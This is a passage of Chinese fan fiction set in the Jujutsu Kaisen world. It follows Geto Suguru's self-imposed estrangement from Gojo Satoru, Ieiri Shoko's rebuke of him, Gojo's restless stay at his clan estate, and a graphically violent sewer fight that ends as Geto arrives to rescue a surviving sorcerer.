“去哪,这节课还没到点呢,我们再来!”
“算了吧,”伏黑甚尔停在他一旁,以一个俯视的姿态居高临下的望着五条悟那双倔强抬起的喷火的眸子,“因为,你、很、弱、啊!”
“作为老师勉强告诉你,战斗分心可是大忌。我要去看我老婆了,你个单身狗可不要嫉妒扣我工资哦!”
为了所谓的十倍工资和学校里的那份不会因被举报早退而失去毫分,伏黑甚尔甚是不走心地挥挥手警告了句。
夏油杰勉强留有几分神智,不至于浑浑噩噩间走错去往澡间的路。
他没有脱下汗湿沾满灰尘的校服,也来不及解开凌乱耷拉的丸子,指尖微颤的掰开淋浴开关。
失焦的瞳孔恍恍惚惚没有找落,空茫的眨着,也不管从根根分明的睫毛上窜进的水珠。
十一月的天里,透心凉的冷水把人浇的透湿,沾水的衣物贴在身上像沉重的绞具,绞具勒住脖子扼住双腕,夏油杰就这么被搡着上了刑台。
他急急喘了几口气,颤着左手解开领口的扣子,吃力的将衣服扒下来,又解下皮筋,任由沾水的发丝重重垂落,然后脱了力,扶住墙壁垂下头,整张脸被拢在了阴影里。
一切都是可以忍受的,总有一个人要埋葬现在。
如果害怕失去,那么一切都会逝去。只有疯子,不顾一切的人,可以在与命运的角逐中获得优胜。
伤口在反转术式的伟力下纷纷愈合,连最浅显的淤青也从白净的皮肤上消失无影。
夏油杰匆匆回了趟宿舍,接到电话后又匆匆出门,没有片刻停留。
他最近总是匆匆忙忙,将能单独承担的任务全部接手过去,偶尔的空闲,也借着预约心理医生的由头天天在外面晃荡,像是要将空缺的裂缝用杂事堆满,好让风呼呼吹过时没有多余的杂音。
这就是近两周里两人的相处模式——有其他人在场,一个开口了另一个就绝不会说话;尽量避免身处同一个空间,就算是夜晚,也有咒灵挡住洞口。
五条悟背对洞口盘腿坐在床上,百无聊赖的望着窗外枯黄的枝叶。
就保持这个姿势,看了不知道多久,如同结冰的圣像,但始终没有等到观光的来人。
毒瘾一般的,如附骨之疽,陡然戒断,身体便战栗难捱,如同活生生剥去一半的血肉,目光也痛的迷离起来。
游戏手柄随手丢到一边,手机也在主人发呆时滑落在地面。
突然,手机震动起来,机械的女声一板一眼的播报。
“尊敬的客户,2005年11月xx日,您尾号为xxxx的银行卡受到转账金额一百二十万円,回款备注:甜品贷。”
夢魔的任务报酬是两百万円,夏油杰约莫是把银行卡里剩余的所有存款全部汇给了他。
五条悟冷着脸起身,勾起手机,将电话簿翻到中间,拨通一个号码。
“喂,来接老子,对,就现在!”
回到高专,夜色已深,夏油杰带着一身寒气和黏腻的咒力残秽从窗户翻进房间。
望着房间西侧,那里重新竖起了一张墙,墙面光滑,新刷上的漆雪白光洁,和其他三面泛黄陈旧的墙壁形成鲜明对比。
他呆愣的站了几秒,几乎挪着步子进了浴室。
刚洗完澡,家入硝子便敲响了窗户,“五条被你气的回家了哦,”她叼着烟翻出一张照片,“开的劳斯莱斯Boat Tail,听说全球仅三辆的顶级豪车,市值2800万美元呢。”
见黑发少年垂眸不语,她又下了剂猛药,“五条家的人去了校长办公室一趟,你说,他不会退学了吧。”
夏油杰握着窗沿的指尖用力到发白,半晌,他挤出一个比哭还难看的笑容,“挺好的……他回家挺好的。”
家入硝子收回手机,沉默的打量他片刻,撑着窗沿翻身坐在上面,“你真该照照镜子,那样你就会被自己丑的‘哇——’一声哭出来,那样倒还显得真切许多。”
“这里只有我们两个人了,你坦白告诉我为什么要冷暴力他,别甩给我什么‘腻了’‘烦了’的鬼话!”
夏油杰僵硬的缓缓动着脸上僵硬的肌肉,收起嘴角歪斜的弧度。他看着窗外,雾蒙蒙的天空和偶尔几颗闪烁的星子,月亮被蒙在后头,洒落的光织成纱,铺在窗前,连同缭绕的烟气一起被吸进肺里。
凉凉的月光混着滚烫的烟雾在胃里,夏油杰长舒口气,将混杂的气圈吐进四合的夜色。
拧巴的人难得敞开心扉。
“他太依赖我了,这样是不行的,硝子。”他盯着光毯,撑不住了一样将双手交叠,额头抵了上去,“你知道的,咒术师时刻面临死亡,如果有一天我死去,我希望他不必记挂我。”
家入硝子用力吸了口烟,将烟蒂不礼貌的摁在男同期的床沿,“我挺讨厌你的傲慢,说真的,你总是自顾自的替别人做出决定却从不过问他的想法,要是点出来又没脸没皮的破罐子破摔说‘被办法我就是这种人’,真是死性不改。”
“一面说‘我再也没见过像他那样坚定的人’,一面又把他小心翼翼的捧在掌心护在怀里,像什么易碎的雪人,好像稍微捧出一下就会化掉。”
“五条悟不是你的崽子,你该给他多点信任。五条家五百年一出的神子远没有你想的那么脆弱,你对他的保护太畸形了。”
“可世界最难的就是知行合一,我不想把风险留给他。”夏油杰嗓音发哑,依旧俯在手上,像是个无措迷茫又倔强固执的孩子,执拗的守着一方天地。
不是不能徐徐图之,可一想到那些可能,心和嘴就比大脑率先做了反应。
家入硝子说他死性不改,打死不回头是真的,到现在,夏油杰心有感触,可心头最后悔的还是没有从长计议徐徐图之。
烟气消失,空气冷了下去,窗边的少女踢踏着月色离去,把空间留给消沉低落的少年。
我该拿你怎么办呢,我的挚友?
33.离别与支援
又是几天过去,隔壁的寝室再没有传来什么动静。
最近的任务比较频繁,受伤的咒术师比比皆是。家入硝子每天几乎跑着走,除了治疗这个那个就是忙于钻研医疗设备和医学知识,偶尔还要看顾一下昏迷的伏黑葵。
或许是真的太过忙碌,又或许是知道要给一个装睡的人一点赖床的时间,她再没有掺和过两人的事,也再没有在夏油杰面前提及过咒术界那个“who know who”的存在。
夏油杰三班倒两班的生活着,身形肉眼可见的消瘦下去。
在一个灰蒙蒙看不清天空的早晨,他恍恍惚惚的坐起身,混沌的大脑想了很久很久才记起今年的年份。之后他赤着脚,疲惫的起身、疲惫的洗漱、疲惫的拉开窗户。
昨夜下了一场雨,今早世界都浸没在白雾茫茫的水汽里。他知道,只要再往前倾一点——只要一点点——就可以轻而易举地望进隔壁的那间房间。
他的房间只有这一侧的窗户,开学第一天,五条悟就是从这里翻进来的。
他试图推理那天对方的行动轨迹——走廊东侧的尽头有一扇巨大的落地窗,白发少年没有先回到自己的房间,估计是瞥见那里起的主意。
然后他也许打开了自己的房门,从隔壁翻进来毕竟要近的多。当然,依他的性子更大的可能是什么都没多想,沿着管道攀爬对猫来说或许也不失为一种打发时间的有趣游戏。
五条悟会先踩着落地窗仅宽两三厘米、只够脚后跟落地的边沿,双手大张紧贴墙面,依靠摩擦力像只螃蟹一样稳稳的平移。
夏油杰还记得那天他的轮子在车上坏了一只,后来上楼打闹的时候又弄断了一只,那个缺胳膊断腿的箱子依然横放在衣柜的最低端。
那天他拉箱子出了很多汗,也许是累的,也许是打架打的,但不可否认的是,那天是个绝佳的大艳阳天。
夏天是那么的纯净温润,明亮的像他的眼睛。
当然,五条悟可能不这么觉得。
爬管道的时候,那双生辉的眼睛可能吃尽了夏天的苦头。
阳光明晃晃的耀武扬威,它们调皮的飞到高专许久没有擦拭过、落满灰尘的窗户上,又随着反射,愉快的睡上到他优越的眉骨,跳进那双像夏天一样光辉灿烂的眼睛里。
三分之二的脚掌悬空,他会被晒得眯起眼睛,耷拉着脸。然后臭着脸在心理唾骂:要不是怪刘海把老子赶出房间,老子才不会这个点来晒太阳!
想着想着,夏油杰哼笑出声,继而又感到些许惋惜。
可能因为那天他急着洗澡,没能目睹五条悟当壁虎的一幕,也可能是今天雾蒙蒙的天气和记忆里金灿灿的一切形成了鲜明对比的缘故——尤其是冷风和乌云。
这种落差平白让他空落,对于那个一去不回的夏天。
这天,夏油杰像往常一样起床。
辅助监督已经把今天的行程发到了手机上,自从五条悟回到五条家后闭门不出没有半点消息,石田辉就几乎成为了夏油杰的私人助理。
黑发少年一如既往的拉开窗户看了会儿天气,像每一个早上,像是圣徒习惯性的晨祷。
期待哪一个早上,拉开窗帘,推开窗户,窗外不再是绵绵的雨雾和沉沉欲坠的天空,而是阔别已久的太阳和澄澈明亮的苍蓝。
他发了条消息,拐去办公室,在班主任的控制不住的叹息声和不经意流露的惋惜眼神中要过隔壁的钥匙——定时打扫几乎成了他除晨祷外的另一个习惯。
只有这个时候,他才有了光明正大踏进这里的理由,尽管他曾不需要主人同意的踏入过千千万万遍。
空白的墙面上挂着一副硕大的照片,照片里的少女站在中间,两个少年各自揪着一只兔耳朵,另一只手默契的绕过自己的后脑勺,在粽发的少女脑后比了一对兔耳。
三个人都笑的灿烂极了,快乐的没有一丝烦恼和阴霾。
每一次进来,夏油杰都要驻足在这张照片下面很久。
照片静止的挂着,巨兔洗过之后摆在了女同期的房间里,充当无坐垫的沙发。望着五条悟笑得见牙不见眼的模样,他总觉得万圣节已经是上辈子的事了。
黑发少年的手机里躺着很多张照片,搞怪的、装酷的、单纯的美食和风景照,自己拍的或是别人抓拍的丑照,最多的是自己和五条悟的合照。
夏油杰不是个爱记录或者自拍的人,曾经他的镜头对准的总是那些绮丽梦幻的景色,比如黄昏易散的烟霞,比如风春雨打后满地的落花。
拍照是五条悟的喜好,夏油杰只是接纳了它,连同某位将它一并融入自己日常的范畴。
五条悟很早之前就察觉到了夏油杰很喜欢他的眼睛,总是被它吸引注意力,喜欢盯着它一眨不眨的发呆。
没有人不喜欢六眼,原因自然不由分说——力量与地位的象征,拥有它几乎可以同时宣告拥有了一切。
这种喜爱源于羡慕,涨于嫉妒,他们都恐惧端详、恐惧注视、恐惧直面。
只有夏油杰这个怪人,他单纯看着的,是五条悟的眼睛。
一双只需要用‘漂亮和非凡’,而无需其他修饰词点缀的眼睛,一双他乐于赞叹,乐于注视与被注视的眼睛。
发现这个秘密比发现夏油杰非常纵容他还要早。
五条悟极为自恋的怼着那双甚是奇异的眼睛,拍了一张很有气势的氛围感照片,美名其曰‘满足你的小爱好’,乐子一样发给了黑发少年。
不出意料的,夏油杰露出了和他想象一样的跳脚模样,咬着牙面红耳赤地与他对呛斗嘴。
但背地里,那张照片还是躺进了按耐不住的丸子头少年的私密相册。
“少主!”
突如其来的手机铃声打断了五条家演武场的火热朝天。
他人耳中闭门不出黯然神伤龟缩后宅的大少爷天天在家挑刺整花活。
昨天整顿五条家的伙食,花了大价钱从各个奶茶店、甜品店甚至肯肯和麦麦挖了一大堆使得各个长老狂按人中直呼‘成何体统’的厨子,今天又大手一挥,把五条家的小辈通通召到了演武场,美名其曰检查五条家未来的战力。
在长老们‘神子终于长大了,懂得关心家族未来’的欣慰眼神里,在望子成龙的封建家长千叮咛万嘱咐的殷切期盼中,一群或大几岁或小几岁的少年视死如归上了战场,然后水灵灵的在几招内败得体无完肤。
更折磨人的是五条悟一边嫌弃一边催促着轮番上,车轮战就这么从头到尾轮了三四遍,轮的每个人都鼻青脸肿生无可恋,而五条悟却越打越气闷,不仅丝毫未觉疲惫,更多的是战性被勾起来却得不到发泄的躁动不满。
短短的日子打乱了十七年的习以为常,一转身便觉得无法忍受。
这通及时雨来的千盼万盼,五条悟甩甩手,不耐烦的一把抢过手机,伏黑甚尔低沉粗犷的声线传来。
“大少爷,贵人多忘事啊,还记得交易的内容吗?”
五条悟哼了一声,“难怪游云给得那么爽快,占便宜占疯了?”
伏黑甚尔弹着指甲,漫不经心道,“大不了儿子也给你,一个十影,说到底还是五条家赚了。”
突然提起的十影术法让五条悟不合时宜地想了想,走的时候,那只被随手拎来的崽子还在高专自力更生。
高专有食堂,有宿舍,有没事的学生关怀照顾,伏黑惠的日子比曾经好过很多。
五条悟从石子小径一路走回自己的院子。这里地处五条家最北面,是最内里最僻静宽广之所,占地面积广,方圆没有别的建筑,是五条家家长历来所居之地。
自五条悟诞生,上一任家主便自辞退位成了如今的大长老,只等五条悟成年便可上任,接手偌大的家族。
“再不冒泡,别怪我把那个咒灵操术打到鼻青脸肿半身不遂!”
五条悟阖上障子门,单手拽住下摆,微微歪头,将衣服扯得只剩接电话那只手的袖子。他不耐烦的换了只手,衣服彻底丢在了地上,心烦意燥地说,“打就打呗,又不是打我。揍重一点!给我把他脑子里的水揍出来!!”
伏黑甚尔扯着嘴角,只当他在放屁。
“老子会关注的,一送回就派人丢给你,行了吧。”
伏黑甚尔翘着腿,扶着医务室的扶手舔了舔后槽牙,“你给我……”
话没说完,长久的电音播报先入耳。
男人眯着眼睛懒懒起身,他走出医务室的长廊,与看报告的夜蛾正道打了个照面。
“杰接到临时的增援任务,今天的体术课回来不了。”
*
冰冷腥臭的污水漫过脚踝,空气里混杂着铁锈和腐烂的臭气,每一次呼吸都像是在吞咽淤泥。
木下死死攥着廉价的咒具短刀,指节泛白,无法控制的颤抖。掌心的冷汗滑腻,几乎握不住刀柄。
“妈的……这鬼地方……” 走在前面的藤井声音嘶哑的如同破旧的风箱,手电的光束虚弱,在雾中不断溃散。
“窗的人……到底怎么观测的?三级?放屁的三级!”
木下喉咙发紧。
踏入这巨大的的地下排水系统开始,那股无处不在粘稠阴冷的恶意就像是冰冷的蛇
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,顺着脊椎寸寸上爬。
那绝不是三级咒灵该有的压迫。
那东西……就在黑暗深处蛰伏着,带着纯粹的恶意“看”着他们。每一次风带起的细微动静,仿佛都是它湿滑的眨眼声。
藤井不敢大声喘气,他抖着手,手电猛地扫过右侧一条幽深的岔道。
光束尽头,似乎有什么东西缩了回去,只留下一道粘液的拖痕。
“妈的,撤!木下!快撤!”
他嘶吼着猛地转身,惊恐彻底扭曲了他的脸。
恐惧瞬间攫住木下的四肢!
跑!他猛地蹬地,污水哗啦作响。
但是,晚了。
一股腥风如同实质的巨浪从身后狂暴卷来,狠狠砸在木下的后背,将他向前掼倒。
“呃啊——!”
身后藤井的惨叫凄厉,倏地撕裂空气!
腥热粘稠的液体,带着浓重腐臭味,劈头盖脸地溅了木下满头满脸。他狼狈扑倒在冰冷的污水中,颤抖的捡起摔落的手电。
剧烈晃动的光束,照亮地狱的一角。
藤井不见了。
通道中央,盘踞着几乎塞满空间的“东西”。那“东西”,像一团被强行挤压、拉长的巨大肉块,覆盖着一层半透明、不断分泌的黑色黏膜。
没有清晰的头部,面对木下的方向,黏膜撕裂,露出一个由无数利齿组成的恐怖口器!
几缕染血的布片正被细密的牙齿勾在缝中。
而藤井……藤井的半截身体,正被粘液死死的包裹挤压,像陷入了巨大的粘稠的沼泽。
腰部以下尽是被吞噬的碎肉块,碎肠和破掉的气管流了满地,他十指扣在地上向外扒,指甲折了,指尖破了,拖出长长的血痕。
藤井的脸部因极致的痛苦和窒息扭曲变形,嘴巴大张发出‘嗬、嗬’的气声,眼睛瞪得几乎裂开,死死盯着木下。
“走……快…走……走……”
“藤井——!!” 木下目眦欲裂的大吼。
极度的绝望喷发,几乎要烧掉一切。他挣扎着爬起,高举短刀,像绝境中的困兽,朝包裹着藤井的蠕动粘液狠狠劈去!
“给我放开他啊——!!”
嗡——!
刀锋即将触及黑色黏膜的瞬间,一股无形的阻力猛的袭来,空气重的像深海。
木下的动作猛地一滞,挥刀的手臂重如灌铅,那阻力带着腐蚀的毒素,疯狂渗透皮肤,如针扎进骨髓。
“呃……” 阴冷侵蚀的痛苦让他眼前发黑,木下死死咬住牙关,喉中涌出的腥甜汩汩,渗出牙缝与嘴唇。
咕唧……咕噜……
粘稠液体的搅动和□□被挤压碾碎的闷响传来。
藤井……没了。
一瞬间,心脏被冰冷的铁手捏碎。同伴被活生生吞噬的景象击垮了他最后一丝反抗意志。
咒力如退潮溃散,短刀“哐当”掉入污水。
咒灵庞大的肉块开始朝木下蠕动挤压。粘稠的黑液如污油滴落,恶臭陡增,几乎凝成实质。
吃掉他!吃掉——!
木下像冻住在原地,他深深垂头,跪在原地,一声不发。
尖锐的肉刺狠狠扎进他的左肩!
穿透皮肉、撕裂筋骨!
巨大的冲击力将他带得离地飞起,重重掼在身后冰冷湿滑的水泥墙上!
剧痛!但比痛更可怕的是冰冷的麻痹感和力量的飞速流失。
视野摇晃模糊,黑涎粘稠滴落。
要……被吃掉了……
意识如风中残烛摇摇欲坠,视野边缘被浓重黑暗吞噬,只剩正前方不断逼近的深渊。
腐臭气息扑面而来。
结束了……
就在利齿即将触碰到面门的瞬间,上方水泥顶毫无征兆地轰然炸裂!
刺眼天光如利剑劈开黑暗的恶臭,碎裂的水泥块和扭曲的钢筋如暴雨倾泻!
庞大的咒灵猛地一僵,像见到天敌的老鼠,发出惊怒的嘶鸣。
木下被剧变震得短暂清醒。艰难、缓慢抬起沉重的眼皮,透过被血水灰尘模糊的视线向上望去。
光!
刺目、带着尘烟的光束中,一个身影降临。
黑色的高专制服勾勒出少年挺拔但单薄瘦削的身形,标志性的丸子头束在脑后,几缕黑发贴在额角。
他微微垂眼,狭长紫色眼眸在光影中看不清情绪,只是稳稳坐在银白巨龙的背脊,身下是崩塌坠落的土块和弥漫的烟尘。
夏油杰。
高专的天才,咒灵操使……